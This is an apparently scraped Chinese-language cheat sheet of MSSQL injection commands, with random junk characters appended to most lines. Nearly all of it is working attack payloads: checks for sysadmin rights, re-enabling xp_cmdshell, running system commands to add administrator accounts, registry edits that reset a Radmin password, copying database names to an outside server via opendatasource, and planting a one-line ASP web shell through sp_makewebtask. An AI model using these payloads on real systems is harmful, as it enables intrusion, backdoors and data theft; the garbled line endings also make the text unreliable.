阿D常用的一些注入命令# ?* W* y( T3 n t1 u; M" `. g
//看看是什么权限的
) j, L" \1 G+ \2 M$ ]& _' I: G% Fand 1=(Select IS_MEMBER('db_owner'))
3 m' Z# Z! v5 ~" }And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--% }' B) Y' j/ D G$ e2 k1 Z
+ g/ g- o u5 _7 O" N//检测是否有读取某数据库的权限
$ y' ?, z8 d2 G1 ]7 v( Aand 1= (Select HAS_DBACCESS('master'))) p, \8 F9 o2 F7 S0 c; t7 U& p/ Z
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --) }$ i" Y4 m5 }' R
o' Q# ^ B; H2 U( C& W3 R9 c! R
0 A$ q4 o/ c" Q7 I: _
数字类型
; ]0 g8 Q1 R/ `5 C' g! u! {and char(124)%2Buser%2Bchar(124)=04 N6 S4 {! K- E6 o/ I" Q
$ B8 U I7 _ }. A1 n
字符类型+ l! g7 [4 ]+ Q& x
' and char(124)%2Buser%2Bchar(124)=0 and ''='
* \8 O' B5 n3 V5 b! {: n0 h* k9 l. G, Y3 s# G% G
搜索类型
# ~ x) M( d0 m0 K1 G' and char(124)%2Buser%2Bchar(124)=0 and '%'='
: m7 M! [, L1 b+ h% [- y4 e2 S/ r# p+ C
爆用户名7 u! X, ?6 }$ f# ?+ `% _: c
and user>07 {0 T0 g) T" a* D4 E* H
' and user>0 and ''='% f$ h% b, [1 s% a1 Y
! r; | Q1 M% i( q' q
检测是否为SA权限) A& q3 n2 @8 _7 F
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
# U5 p8 q, C9 N) E3 uAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --/ E/ P2 N8 b6 o* V) J) W) u
}: q' P2 } U' k0 V# f
检测是不是MSSQL数据库: a$ v0 o& ^0 v* {' w
and exists (select * from sysobjects);--
+ h: W9 l8 t' c+ [: X- |: O
& a9 i3 ?8 J1 l, c9 n4 u1 b检测是否支持多行
* s; Y s" a& N( B0 v1 U$ i;declare @d int;-- 1 h$ k( f2 L; o, k/ N& v5 I
+ a* ~- L7 n& f. U恢复 xp_cmdshell+ i0 K( |7 ^' N; [3 K
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--# H2 g( \, W% ]
F: t7 ]1 ?+ K( s0 ?5 g& {
7 ~; |/ |- C4 _/ X q- \* dselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
2 P5 h1 R- g, m& |
! c4 Z* G& S1 E- H0 p! J: }//-----------------------
& o/ M/ K& W4 v( ]7 V7 b" A// 执行命令9 H7 X, [# v3 `& H+ C3 _
//-----------------------+ J' c* X, U( t. h% K( e. b" j) O) V, h
首先开启沙盘模式:
N9 p8 n8 |2 o4 q. F9 l) Q$ v5 \ dexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1( ^5 t& k# Q! [; {7 P: u* R. w5 |1 q
' O E& q& q4 ?, i3 m+ B然后利用jet.oledb执行系统命令) y6 X% O2 e% {; j6 ?) X
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
: {4 a. ~ Y" s" j( F9 e
' @1 v# i* ^ w5 X; b执行命令
/ s) | G6 ~' Y3 |" P;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
1 _* s P- F- m% o; w9 @
: _7 d; G+ F2 EEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
8 t. S, G' o, {5 Z4 V B$ S
/ L* I1 n" P* G判断xp_cmdshell扩展存储过程是否存在:, O% y8 g" L8 ?1 p1 J/ s8 O# y
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')) l, Y. ^5 `5 f7 ]+ E, B
# e0 _2 @3 P- V
写注册表
+ P$ d4 h" P. ^7 p, ^exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
3 {( F2 ` S8 H' p6 }- W( J4 f- I' A. o+ b( a- g& V
REG_SZ
; M0 J+ E0 o4 n. P9 n/ X m
1 F3 `; X. |; W- @. _读注册表4 m$ G2 Q* u4 t3 u- I
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'" _! M! l2 O8 D6 }. I2 X& Z% O' M
. U4 P! X5 e: h读取目录内容# m8 L2 e. T3 U" N/ `, x( P" d$ I: [
exec master..xp_dirtree 'c:\winnt\system32\',1,13 Q7 j( P& L/ K( t# p& j4 L
8 J$ n; t5 S# M; o( N5 C, |2 q: n0 p& \0 A
数据库备份7 J. v! k2 e V
backup database pubs to disk = 'c:\123.bak'
) @ u: v" k$ o; N+ b# H2 u
; p+ V% @# o$ f4 K2 \3 J//爆出长度" h" H3 N% F4 Q: a* q
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--% u- O; z% X8 h0 Y! D3 L' ~" O
' k, C: N/ g' R) L6 J' \
9 X) T/ } Y: b& c2 W) v! t6 j, n/ U4 r I5 U) n
更改sa口令方法:用sql综合利用工具连接后,执行命令:/ m4 F, U8 |5 d8 r2 [& o+ W( k
exec sp_password NULL,'新密码','sa'
, o; x, o6 }" a [
* M% [ Y* S# I+ b添加和删除一个SA权限的用户test:
: P+ Y" F6 G, ]& K! Sexec master.dbo.sp_addlogin test,ptlove$ z5 { D: ], k, |- F
exec master.dbo.sp_addsrvrolemember test,sysadmin
$ j+ J4 Q5 Y% T0 c. F0 z
+ b; u* ~1 ^' Y2 R0 l9 r0 C& a& F删除扩展存储过过程xp_cmdshell的语句: - A$ E6 j4 ]7 J+ @- h% p
exec sp_dropextendedproc 'xp_cmdshell'. N3 | p" }' C1 i3 X3 [' W9 s
( h- q7 q1 D; Z3 v; s
添加扩展存储过过程+ l" j* {3 ~; l$ `% G) w$ g
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
7 V+ y4 d# }# \% EGRANT exec On xp_proxiedadata TO public
1 |3 z! {: k) `2 u$ m7 _( X
+ A7 E3 ]+ ]5 j+ A6 W) E9 H4 b# J
停掉或激活某个服务。
8 i- Z8 ?0 L# {! C
! [, u( |# x7 Jexec master..xp_servicecontrol 'stop','schedule'
" X+ Q! w n1 G1 @exec master..xp_servicecontrol 'start','schedule'
/ X' y- j8 T1 ^+ ^
7 ]2 ^& Z+ c' udbo.xp_subdirs6 B+ @0 y) _. q- o$ _
7 X$ w! G: a, P9 N只列某个目录下的子目录。
, K' D. E- F9 U6 N3 C1 O uxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'1 d# e T1 n- p
% m+ p: c9 S5 E" O+ K2 Pdbo.xp_makecab
0 g' x; @+ Z c9 A0 A# s1 `% @4 f# i& p
将目标多个档案压缩到某个目标档案之内。
# {$ t, G: a/ ~" c; _1 ?6 W所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
y. L' \0 S( S4 m3 t2 h2 w7 s* }, z2 m& }1 e+ q
dbo.xp_makecab
2 C0 f3 g5 ^$ ^1 A x/ ^. g'c:\test.cab','mszip',1,. K) F: p2 A; |, w! d0 B: s
'C:\Inetpub\wwwroot\SQLInject\login.asp',
. `1 i/ }! E' ]: e. m'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
/ o; ^9 U5 ?; f2 m" t e! f" m1 S; z
xp_terminate_process1 z" x: @. T7 T E
$ s, `6 s( E( ~. a
停掉某个执行中的程序,但赋予的参数是 Process ID。
3 x4 E; ]: `9 h7 ~: [4 N利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID4 O$ s" t, r: z- |$ S
" K) Y4 U* n4 r1 L0 }& E& C
xp_terminate_process 2484# W) S: \+ ]# H- f7 \3 L
: Q% j; S9 e% c0 H! U+ e% `9 z' xxp_unpackcab
$ F" d; U# f* [" n% v, R$ R
8 G+ x8 X8 E) T7 X: v解开压缩档。
6 G. O" j4 S( j2 k0 q1 B
- f* z; o3 ]9 G( f& Gxp_unpackcab 'c:\test.cab','c:\temp',1' n5 `9 J* `% t" K4 i: }( X! Z
+ c% z; g! O7 e S( V+ O G2 B: v- N i8 r/ ]4 I
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12343 r, G; |0 {( z( E
( g1 c/ {% U/ {" J3 u) @
create database lcx;3 K, C6 _" g7 `3 ?9 B5 p2 q5 `$ b
Create TABLE ku(name nvarchar(256) null);% q2 V9 L) U# m7 @# U' M3 l! V
Create TABLE biao(id int NULL,name nvarchar(256) null);
. Q8 S* n' K/ I1 m1 \5 M5 @( D; Y8 E
//得到数据库名 a" n- r9 Y# @5 e/ b
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases4 O! P: o" z1 _' N! g. |
- _, z; \5 K; L) Q4 e* J! K
$ a$ c# D# ^# ^9 d% p//在Master中创建表,看看权限怎样0 J( j% d% K1 V$ Q" ~4 q9 V
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
/ D+ p( j9 k( I0 ~. x6 z% w( n8 w& _) y& V
用 sp_makewebtask直接在web目录里写入一句话马:
" N( {- [/ m/ m2 @' rhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--$ [4 F- o& g$ V z) T6 J
1 l8 K8 ]4 i, x3 K' i//更新表内容
/ |& C" V% g4 C# z6 ^& XUpdate films SET kind = 'Dramatic' Where id = 123
7 f* o3 h9 V3 c1 t9 H0 B0 H7 L* X" a
5 P2 v4 k" G* Y( o, b; E//删除内容: [0 e+ \6 k" C- P
delete from table_name where Stockid = 3 |